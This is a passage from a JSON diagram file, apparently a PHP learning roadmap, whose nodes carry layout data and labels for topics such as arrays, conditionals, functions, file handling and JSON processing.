\"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 471.57600354059275,\n        \"y\": 645.0359440485736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"pzReF4C0mcCWAnpfIJbwl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 443.57600354059275,\n        \"y\": 465.2656548567518\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Casting Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VLRLymQmLfscrBfzXKvHi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 443.57600354059275,\n        \"y\": 465.2656548567518\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IhKjvT6CjRz4dsSU7SNQo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 898.6653816802288,\n        \"y\": 550.8389471104808\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 898.6653816802288,\n        \"y\": 550.8389471104808\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j2S8dP3HlAOOoZdpj-7Dx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 847.6653816802288,\n        \"y\": 638.3938270860801\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Indexed Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 847.6653816802288,\n        \"y\": 638.3938270860801\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i_NRsOJNNp7AOqMgu5Jg8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 847.6653816802288,\n        \"y\": 691.3938270860801\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Associative Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 847.6653816802288,\n        \"y\": 691.3938270860801\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uARTOZ-ZwugSmbCJoRS5Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 847.6653816802288,\n        \"y\": 744.3938270860801\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Multi-dimensional Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 847.6653816802288,\n        \"y\": 744.3938270860801\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"38YksjvhXCbgnHqkl57Cz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1281.7145382950125,\n        \"y\": 776.0734823224142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conditionals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WiGv7vi7Mtw-YqPMcnnyw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1281.7145382950125,\n        \"y\": 776.0734823224142\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-McOv-ZPTGayX7Mx2Thw1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1232.6842719582237,\n        \"y\": 557.8314394557128\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"if/else\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1232.6842719582237,\n        \"y\": 557.8314394557128\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bgJ9-m6Fiu3VCc-NZlbpn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1321.6842719582237,\n        \"y\": 557.8314394557128\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"switch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1321.6842719582237,\n        \"y\": 557.8314394557128\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3gNzX-bw2iqur7U7-_W38\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1400.6842719582237,\n        \"y\": 557.8314394557128\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"match\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1400.6842719582237,\n        \"y\": 557.8314394557128\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w0ntgFBhgGd5RUFd-qlPK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1233.7145382950125,\n        \"y\": 611.8314394557128\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Null Coalescing Operator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1NXSk8VZDr89jQTTkOL7x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1233.7145382950125,\n        \"y\": 611.8314394557128\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1NXSk8VZDr89jQTTkOL7x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1233.7145382950125,\n        \"y\": 664.8314394557128\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Null Safe Operator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1233.7145382950125,\n        \"y\": 664.8314394557128\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qwt8xN4vuTrY-D0czYITI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1281.7145382950125,\n        \"y\": 868.0734823224142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Loops\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WiGv7vi7Mtw-YqPMcnnyw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1281.7145382950125,\n        \"y\": 868.0734823224142\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VLRLymQmLfscrBfzXKvHi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 444.05794812125305,\n        \"y\": 694\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Constants\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IhKjvT6CjRz4dsSU7SNQo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 444.05794812125305,\n        \"y\": 694\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WiGv7vi7Mtw-YqPMcnnyw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 868.4180934525762,\n        \"y\": 868.0734823224142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IhKjvT6CjRz4dsSU7SNQo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 868.4180934525762,\n        \"y\": 868.0734823224142\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1nODJchgSuWbcvSlxnWeE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 438.01123046875,\n        \"y\": 784.3385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Function Declaration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 438.01123046875,\n        \"y\": 784.3385009765625\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mpQKoBzsOa-5iWo08sOhQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 438.01123046875,\n        \"y\": 837.3385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Parameters / Return Values\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 438.01123046875,\n        \"y\": 837.3385009765625\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RgVP99rJJ8FVecIA45w20\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 438.01123046875,\n        \"y\": 890.3385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Default / Optional Params\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 438.01123046875,\n        \"y\": 890.3385009765625\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RkNjYva8o_jXp9suz5YdG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 438.01123046875,\n        \"y\": 943.3385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Named Arguments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 438.01123046875,\n        \"y\": 943.3385009765625\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Nr5m6wQLp7VyG3AucrSc8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9180934525762,\n        \"y\": 968.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Anonymous Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9180934525762,\n        \"y\": 968.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mP1BIkqbWVVTU-zZv1ZL6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1074.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Arrow Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1074.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x7hA2KAzJIjc-prgCEw6V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1021.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Callback Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1021.8385009765625\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D9ybK5INH5zSOcYMb5ZPi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1127.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Recursion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1127.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rtmytETfyyLdcXUC0QyzL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1180.8385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Variadic Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9180934525762,\n        \"y\": 1180.8385009765625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fBym6pkzRkNh0LWyCg3Bv\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1265.2247832613762,\n        \"y\": 977.3385009765625\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"File Handling\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"usBwcXnWuUlaN71q1nbED\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 53,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1265.2247832613762,\n        \"y\": 977.3385009765625\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 53\n      }\n    },\n    {\n      \"id\": \"Kaaqu-mN7xvHN6CbIn616\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1221.6842719582237,\n        \"y\": 1094.6412495554816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"require\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1221.6842719582237,\n        \"y\": 1094.6412495554816\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-CyJbsg2ho3RvfzKnJj5C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1326.7145382950125,\n        \"y\": 1094.6412495554816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"require_once\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1326.7145382950125,\n        \"y\": 1094.6412495554816\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hKfv7V6bl2LXssq9Ffi7C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.9377956995395,\n        \"y\": 1148.3736308489026\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"include\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Kaaqu-mN7xvHN6CbIn616\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.9377956995395,\n        \"y\": 1148.3736308489026\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SwtLDgyPmDry20qS4FBfH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1327.9680620363283,\n        \"y\": 1148.3736308489026\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"include_once\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-CyJbsg2ho3RvfzKnJj5C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1327.9680620363283,\n        \"y\": 1148.3736308489026\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CNrhogom5tjAOY6ancboh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1243.2247832613762,\n        \"y\": 1207.6117717284694\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Include and Require Files\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1243.2247832613762,\n        \"y\": 1207.6117717284694\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"two4UycJaCfSp6jQqtTAb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.7247832613762,\n        \"y\": 1320.0547643279947\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Writing Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.7247832613762,\n        \"y\": 1320.0547643279947\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S9wTlkbv9-R6dohhZ47hs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.7247832613762,\n        \"y\": 1267.0547643279947\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reading Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.7247832613762,\n        \"y\": 1267.0547643279947\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tgIyG6vHWpe9sz6lHmj5a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.7247832613762,\n        \"y\": 1373.0547643279947\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"File Permissions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.7247832613762,\n        \"y\": 1373.0547643279947\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xpvaGtnZo9BL3HfKCzsV_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1282.7247832613762,\n        \"y\": 1433.3927959830828\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"File Operations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1282.7247832613762,\n        \"y\": 1433.3927959830828\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"t6N8bYfapkiiFMPdYmqpq\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1064.3239413874203,\n        \"y\": 1381.5547643279947\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 151,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1064.3239413874203,\n        \"y\": 1381.5547643279947\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"3oLk2mHY-nDgNXmaOZzEr\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 849.0727748893542,\n        \"y\": 1257.9136754807616\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"RjrP6TuYhXhW3uuZgqurX\"\n      },\n      \"zIndex\": -999,\n      \"width\": 218,\n      \"height\": 222,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 222\n      },\n      \"positionAbsolute\": {\n        \"x\": 849.0727748893542,\n        \"y\": 1257.9136754807616\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 222\n      }\n    },\n    {\n      \"id\": \"DB2cxZE58WCCavW2PNwmf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 857.0727748893542,\n        \"y\": 1322.5756438256735\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"JSON Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"two4UycJaCfSp6jQqtTAb\"\n   